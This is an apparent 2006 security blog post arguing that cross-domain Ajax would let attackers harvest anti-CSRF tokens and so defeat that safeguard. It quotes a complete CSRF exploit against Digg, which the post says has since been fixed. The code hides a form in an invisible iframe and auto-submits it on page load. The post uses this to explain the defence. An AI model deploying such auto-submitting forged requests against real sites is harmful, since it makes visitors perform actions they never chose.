Cross-Domain Ajax Insecurity

09 Aug 2006

I might turn this into a more coherent article. For now, this ad hoc explanation will have to suffice.

Since the birth of Ajax (the name, not the technology), there has been an increased interest in various client-side technologies, especially JavaScript. Those who have forged ahead in an attempt to innovate new ways of applying Ajax have inevitably run into the same-origin security policy of XMLHttpRequest(). As a result, there has been an increasing demand for cross-domain Ajax, and there are several creative techniques in use today to get around the same-origin restriction (none of which I consider cross-domain Ajax).

Today, I read a post from a Ruby developer who claims to debunk misconceptions about the security implications of cross-domain Ajax:

Quite a number of people have been discussing possible cross-domain Ajax security issues recently. These are smart people that generally know their technologies very well, but for some reason are missing some fundamental aspects about Ajax.

He goes on to explain why he thinks cross-domain Ajax is safe. A followup retraction attempts to point out a reason why cross-domain Ajax can be unsafe, a port scanner that has access to your local network.

We don't need cross-domain Ajax for that. I wrote an article three years ago (and was giving talks before that) that demonstrates how XSS and CSRF can be used to penetrate local networks. Jeremiah Grossman recently demonstrated how to use XSS to scan a local network. We even have an example that uses CSRF to make configuration changes to a local Linksys WRTG54G (wireless router). These things are already possible today.

A much more important concern is that cross-domain Ajax effectively eliminates the CSRF safeguard implemented by many web applications. (The rest are probably vulnerable.) To help explain this, consider the recent story that Diggs itself, a clever CSRF attack that causes all visitors to automatically Digg a particular story:

  1. <script type="text/javascript">
  2. function fillframe() {
  3.     mf = window.frames["myframe"];
  4.      
  5.     html = '<form name="diggform" action="http://digg.com/diginfull" method="post">';
  6.     html = html + ' <input type="hidden" name="id" value="367034"/>';
  7.     html = html + ' <input type="hidden" name="orderchange" value="2"/>';
  8.     html = html + ' <input type="hidden" name="target" value="http%3A//digg.com/"/>';
  9.     html = html + ' <input type="hidden" name="category" value="0"/>';
  10.     html = html + ' <input type="hidden" name="page" value="0"/>';
  11.     html = html + ' <input type="hidden" name="t" value="undefined"/>';
  12.     html = html + ' <input type="hidden" name="row" value="1"/>';
  13.     html = html + '</form>';
  14.      
  15.     mf.document.body.innerHTML = html;
  16.     mf.document.diggform.submit();
  17. }
  18. </script></head>
  19. <body onload="fillframe();">
  20. <iframe name="myframe" style="width:0px;height:0px;border:0px"></iframe>

There are easier ways to craft this exploit, but that's too off-topic for now.

This exploit no longer works, because Digg fixed it. How did they do that? The request that this generates comes from a valid user and appears to be legitimate, because it abides by the rules imposed by the application. If you spend some time thinking about it, you might be able to come up with a solution, and it will probably be similar to what most people call an anti-CSRF token. Digg now adds a token to its forms. If you Digg a story, your request includes digcheck in addition to the other pieces of relevant information:

  1. id=12345&orderchange=0&target=http%3A//digg.com/&category=security&page=1&t=1&row=1&digcheck=412e11d5317627e48a4b0615c84b9a8f

This value changes and is not valid for any other user or any other story. If digcheck doesn't match, the action is considered invalid. Problem solved.

If you want to exploit Digg in the same way today, you'd need to be able to obtain the digcheck token of another user. If you want to exploit many users (which you probably do, if you want your story to be popular), you'd need to be able to automatically get another user's token, so that it's easy to repeat the process. If you visit Digg and view source, you'll find these tokens in the links to Digg a story. Of course, the tokens you see are only valid for requests from you.

  1. <a href="javascript:wrapper_full(0,5,12345,0,'Security',1,1,'412e11d5317627e48a4b0615c84b9a8f')">digg it</a>

Now, imagine if XMLHttpRequest() allowed cross-domain requests. Because it is JavaScript and executes on the client, you could use it to generate requests to Digg from every user who visits a page that you create elsewhere. You'd also be able to parse the results of those requests, so you could determine each user's digcheck token for the story you wish to have them Digg. The result? The exact same scenario would be possible, and there is nothing Digg could do about it. In fact, there's nothing any web application could do about it.

I don't expect browser developers to dismiss the same-origin security policy without a thorough understanding of the consequences, so my only purpose in blogging this is to clear up some of the misinformation that has been published in various places. It's worth noting that XSS vulnerabilities allow malicious JavaScript to execute within your domain, thereby avoiding the same-domain restrictions. This can have catastrophic consequences. Just ask Myspace.

I'll probably be writing more about Ajax security in the coming months. In the meantime, you should peruse Andrew's Ajax Security PDF.